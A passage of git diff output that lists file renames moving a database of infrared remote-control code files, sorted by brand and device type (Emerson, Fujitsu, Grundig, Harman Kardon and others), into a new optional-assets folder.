rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir (100%) rename assets/{resources/infrared => 